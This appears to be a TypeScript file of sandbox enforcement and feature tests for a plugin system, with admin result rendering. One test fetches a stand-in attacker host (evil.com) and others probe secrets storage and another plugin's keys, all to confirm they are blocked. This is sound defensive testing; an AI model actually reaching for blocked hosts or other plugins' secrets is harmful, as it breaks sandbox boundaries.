async function runEnforcementBlockedHost(ctx: PluginContext): Promise<TestResult> {
|
|
if (!ctx.http) {
|
|
return { passed: true, message: "No HTTP access (also valid)" };
|
|
}
|
|
try {
|
|
await ctx.http.fetch("https://evil.com/test");
|
|
return { passed: false, message: "Blocked host was accessible" };
|
|
} catch (e) {
|
|
const msg = e instanceof Error ? e.message : String(e);
|
|
const blocked = msg.includes("not allowed") || msg.includes("Host");
|
|
return {
|
|
passed: blocked,
|
|
message: blocked
|
|
? "Correctly blocked fetch to non-allowed host"
|
|
: `Fetch failed for wrong reason: ${msg}`,
|
|
};
|
|
}
|
|
}
|
|
|
|
async function runEnforcementKvIsolation(ctx: PluginContext): Promise<TestResult> {
|
|
const testKey = `enforce-${Date.now()}`;
|
|
await ctx.kv.set(testKey, "test");
|
|
const canReadOwn = (await ctx.kv.get(testKey)) !== null;
|
|
const cantReadOther = (await ctx.kv.get("api-test:internal")) === null;
|
|
await ctx.kv.delete(testKey);
|
|
return {
|
|
passed: canReadOwn && cantReadOther,
|
|
message: canReadOwn && cantReadOther ? "KV properly isolated" : "KV isolation broken",
|
|
};
|
|
}
|
|
|
|
async function runEnforcementStorageIsolation(ctx: PluginContext): Promise<TestResult> {
|
|
let storageOk = false;
|
|
let storageBlocked = false;
|
|
try {
|
|
const testId = `enforce-${Date.now()}`;
|
|
await ctx.storage.events.put(testId, { x: 1 });
|
|
await ctx.storage.events.delete(testId);
|
|
storageOk = true;
|
|
} catch {
|
|
storageOk = false;
|
|
}
|
|
try {
|
|
await ctx.storage.secrets.get("test");
|
|
storageBlocked = false;
|
|
} catch (e) {
|
|
const msg = e instanceof Error ? e.message : String(e);
|
|
storageBlocked = msg.includes("not declared");
|
|
}
|
|
return {
|
|
passed: storageOk && storageBlocked,
|
|
message:
|
|
storageOk && storageBlocked
|
|
? "Storage collections enforced"
|
|
: storageOk
|
|
? "Undeclared collection was accessible"
|
|
: "Declared collection didn't work",
|
|
};
|
|
}
|
|
|
|
async function runEnforcementNoDirectAccess(ctx: PluginContext): Promise<TestResult> {
|
|
const keys = Object.keys(ctx);
|
|
const noDb = !keys.includes("db");
|
|
const noEnv = !keys.includes("env");
|
|
return {
|
|
passed: noDb && noEnv,
|
|
message: noDb && noEnv ? "No direct DB/env access" : "Direct access to internals available",
|
|
};
|
|
}
|
|
|
|
async function runEnforcementGlobalsBlocked(): Promise<TestResult> {
|
|
const results: string[] = [];
|
|
try {
|
|
// eslint-disable-next-line no-eval
|
|
eval("1+1");
|
|
results.push("eval: available");
|
|
} catch {
|
|
results.push("eval: blocked");
|
|
}
|
|
try {
|
|
// eslint-disable-next-line no-implied-eval
|
|
new Function("return 42")();
|
|
results.push("Function: available");
|
|
} catch {
|
|
results.push("Function: blocked");
|
|
}
|
|
return {
|
|
passed: true,
|
|
message: "Globals check complete",
|
|
details: results.join(", "),
|
|
};
|
|
}
|
|
|
|
// ── Feature test runners ──
|
|
|
|
async function runFeaturePing(ctx: PluginContext): Promise<TestResult> {
|
|
return {
|
|
passed: true,
|
|
message: `Pong from ${ctx.plugin.id}`,
|
|
};
|
|
}
|
|
|
|
async function runFeatureKv(ctx: PluginContext): Promise<TestResult> {
|
|
const testKey = "admin-kv-test";
|
|
await ctx.kv.set(testKey, { tested: true, time: Date.now() });
|
|
const value = await ctx.kv.get(testKey);
|
|
await ctx.kv.delete(testKey);
|
|
return {
|
|
passed: value !== null,
|
|
message: value !== null ? "KV get/set/delete OK" : "KV operations failed",
|
|
};
|
|
}
|
|
|
|
async function runFeatureStorage(ctx: PluginContext): Promise<TestResult> {
|
|
const eventId = `admin-test-${Date.now()}`;
|
|
await ctx.storage.events.put(eventId, {
|
|
timestamp: new Date().toISOString(),
|
|
type: "test",
|
|
message: "Admin feature test",
|
|
});
|
|
const event = await ctx.storage.events.get(eventId);
|
|
const count = await ctx.storage.events.count();
|
|
return {
|
|
passed: event !== null,
|
|
message: `Storage OK -- ${count} total events`,
|
|
};
|
|
}
|
|
|
|
async function runFeatureContent(ctx: PluginContext): Promise<TestResult> {
|
|
if (!ctx.content) {
|
|
return { passed: false, message: "Content access not available" };
|
|
}
|
|
try {
|
|
const result = await ctx.content.list("posts", { limit: 5 });
|
|
return {
|
|
passed: true,
|
|
message: `Listed ${result.items.length} items from posts`,
|
|
};
|
|
} catch (e) {
|
|
return {
|
|
passed: false,
|
|
message: e instanceof Error ? e.message : String(e),
|
|
};
|
|
}
|
|
}
|
|
|
|
async function runFeatureHttp(ctx: PluginContext): Promise<TestResult> {
|
|
if (!ctx.http) {
|
|
return { passed: false, message: "HTTP access not available" };
|
|
}
|
|
try {
|
|
const response = await ctx.http.fetch("https://httpbin.org/get");
|
|
return {
|
|
passed: response.ok,
|
|
message: `HTTP ${response.status} from httpbin.org`,
|
|
};
|
|
} catch (e) {
|
|
return {
|
|
passed: false,
|
|
message: e instanceof Error ? e.message : String(e),
|
|
};
|
|
}
|
|
}
|
|
|
|
// ── Dispatch maps ──
|
|
|
|
const enforcementRunners: Record<string, (ctx: PluginContext) => Promise<TestResult>> = {
|
|
"blocked-host": runEnforcementBlockedHost,
|
|
"kv-isolation": runEnforcementKvIsolation,
|
|
"storage-isolation": runEnforcementStorageIsolation,
|
|
"no-direct-access": runEnforcementNoDirectAccess,
|
|
"globals-blocked": runEnforcementGlobalsBlocked,
|
|
};
|
|
|
|
const featureRunners: Record<string, (ctx: PluginContext) => Promise<TestResult>> = {
|
|
ping: runFeaturePing,
|
|
"kv-test": runFeatureKv,
|
|
"storage-test": runFeatureStorage,
|
|
"content-list": runFeatureContent,
|
|
"http-test": runFeatureHttp,
|
|
};
|
|
|
|
async function runAllEnforcementAdmin(ctx: PluginContext) {
|
|
const results: Record<string, TestResult> = {};
|
|
for (const test of ENFORCEMENT_TESTS) {
|
|
const runner = enforcementRunners[test.id];
|
|
if (runner) {
|
|
try {
|
|
results[test.id] = await runner(ctx);
|
|
} catch (e) {
|
|
results[test.id] = {
|
|
passed: false,
|
|
message: e instanceof Error ? e.message : String(e),
|
|
};
|
|
}
|
|
}
|
|
}
|
|
|
|
const allPassed = Object.values(results).every((r) => r.passed);
|
|
const passCount = Object.values(results).filter((r) => r.passed).length;
|
|
const total = Object.keys(results).length;
|
|
|
|
return {
|
|
blocks: [
|
|
{ type: "header", text: "Enforcement Results" },
|
|
{
|
|
type: "banner",
|
|
style: allPassed ? "success" : "error",
|
|
text: `${passCount}/${total} tests passed`,
|
|
},
|
|
{
|
|
type: "fields",
|
|
fields: Object.entries(results).map(([id, r]) => ({
|
|
label: `${r.passed ? "PASS" : "FAIL"} ${id}`,
|
|
value: r.message + (r.details ? ` (${r.details})` : ""),
|
|
})),
|
|
},
|
|
],
|
|
toast: {
|
|
message: allPassed ? "All enforcement tests passed" : `${total - passCount} test(s) failed`,
|
|
type: allPassed ? "success" : "error",
|
|
},
|
|
};
|
|
}
|
|
|
|
async function runAllFeaturesAdmin(ctx: PluginContext) {
|
|
const results: Record<string, TestResult> = {};
|
|
for (const test of FEATURE_TESTS) {
|
|
const runner = featureRunners[test.id];
|
|
if (runner) {
|
|
try {
|
|
results[test.id] = await runner(ctx);
|
|
} catch (e) {
|
|
results[test.id] = {
|
|
passed: false,
|
|
message: e instanceof Error ? e.message : String(e),
|
|
};
|
|
}
|
|
}
|
|
}
|
|
|
|
const allPassed = Object.values(results).every((r) => r.passed);
|
|
const passCount = Object.values(results).filter((r) => r.passed).length;
|
|
const total = Object.keys(results).length;
|
|
|
|
return {
|
|
blocks: [
|
|
{ type: "header", text: "Feature Test Results" },
|
|
{
|
|
type: "banner",
|
|
style: allPassed ? "success" : "error",
|
|
text: `${passCount}/${total} tests passed`,
|
|
},
|
|
{
|
|
type: "fields",
|
|
fields: Object.entries(results).map(([id, r]) => ({
|
|
label: `${r.passed ? "PASS" : "FAIL"} ${id}`,
|
|
value: r.message,
|
|
})),
|
|
},
|
|
],
|
|
toast: {
|
|
message: allPassed ? "All feature tests passed" : `${total - passCount} test(s) failed`,
|
|
type: allPassed ? "success" : "error",
|
|
},
|
|
};
|
|
}
|
|
|
|
async function runSingleTestAdmin(ctx: PluginContext, testId: string) {
|
|
const runner = enforcementRunners[testId] ?? featureRunners[testId];
|
|
if (!runner) {
|
|
return {
|
|
blocks: [{ type: "banner", style: "error", text: `Unknown test: ${testId}` }],
|
|
toast: { message: `Unknown test: ${testId}`, type: "error" },
|
|
};
|
|
}
|
|
|
|
try {
|
|
const result = await runner(ctx);
|
|
return {
|
|
blocks: [
|
|
{
|
|
type: "banner",
|
|
style: result.passed ? "success" : "error",
|
|
text: `${result.passed ? "PASS" : "FAIL"}: ${result.message}`,
|
|
},
|
|
...(result.details ? [{ type: "code", code: result.details, language: "json" }] : []),
|
|
],
|
|
toast: {
|
|
message: `${testId}: ${result.passed ? "passed" : "failed"}`,
|
|
type: result.passed ? "success" : "error",
|
|
},
|
|
};
|
|
} catch (e) {
|
|
const msg = e instanceof Error ? e.message : String(e);
|
|
return {
|
|
blocks: [{ type: "banner", style: "error", text: `Error: ${msg}` }],
|
|
toast: { message: `${testId} errored`, type: "error" },
|
|
};
|
|
}
|
|
}
|